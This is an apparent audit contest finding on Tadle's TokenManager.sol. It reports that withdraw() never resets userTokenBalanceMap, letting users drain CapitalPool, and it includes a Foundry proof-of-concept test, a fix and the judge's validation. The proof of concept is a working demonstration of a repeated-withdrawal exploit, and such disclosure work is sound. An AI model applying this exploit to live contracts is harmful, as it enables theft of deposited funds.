Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

TokenManager.sol :: withdraw() users can withdraw any amount of tokens they wish because the userTokenBalanceMap mapping is not updated.

Summary

withdraw() is designed to transfer tokens from the CapitalPool contract to the user. However, the issue is that the userTokenBalanceMap mapping is not updated, allowing users to withdraw any amount of tokens they desire.

Vulnerability Details

withdraw() is implemetned as follows.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

As observed, the amount a user is entitled to claim is determined using the userTokenBalanceMap mapping, which is then sent to the user.
However, the issue is that this mapping is never updated, allowing users to claim funds repeatedly. A malicious user could exploit this vulnerability to drain the entire balance of the CapitalPool contract.

POC

To run the proof of concept, copy the following code into PreMarkets.t.sol.
Additionally, modify the specified line in _transfer() in TokenManager.sol to avoid transaction to revert due to an error reported in other report.

- ICapitalPool(_capitalPoolAddr).approve(address(this));
+ ICapitalPool(_capitalPoolAddr).approve(_token);
function test_userCanWithdrawAnInfiniteAmountOfTokens() public {
vm.startPrank(address(preMarktes));
deal(address(weth9), address(capitalPool), 1000 ether);
deal(address(weth9), 1000 ether);
uint256 userBalanceBefore = user1.balance;
TokenBalanceType tokenType = TokenBalanceType.TaxIncome;
//add balance to next withdraw it
tokenManager.addTokenBalance(tokenType, user1, address(weth9), 100 ether);
assertEq(tokenManager.userTokenBalanceMap(user1, address(weth9), tokenType), 100 ether);
console2.log("Balance before:", tokenManager.userTokenBalanceMap(user1, address(weth9), tokenType));
vm.stopPrank();
vm.startPrank(user1);
tokenManager.withdraw(address(weth9), tokenType);
tokenManager.withdraw(address(weth9), tokenType);
tokenManager.withdraw(address(weth9), tokenType);
uint256 userBalanceAfter = user1.balance;
//the user withdrew 3 times the amount of ether they were authorized to claim
assertEq(userBalanceAfter - userBalanceBefore, 300 ether);
assertEq(tokenManager.userTokenBalanceMap(user1, address(weth9), tokenType), 100 ether);
console2.log("Balance after:", tokenManager.userTokenBalanceMap(user1, address(weth9), tokenType));
vm.stopPrank();
}

As demonstrated, the user was able to withdraw three times the amount of ether they were authorized to claim because the mapping was not updated.

Impact

A malicious user could drain the entire contract balance.

Tools Used

Manual review.

Recommendations

To address the issue, modify the withdraw() as follows.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
+ userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType] =
+ userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType] - claimAbleAmount;
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
``
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.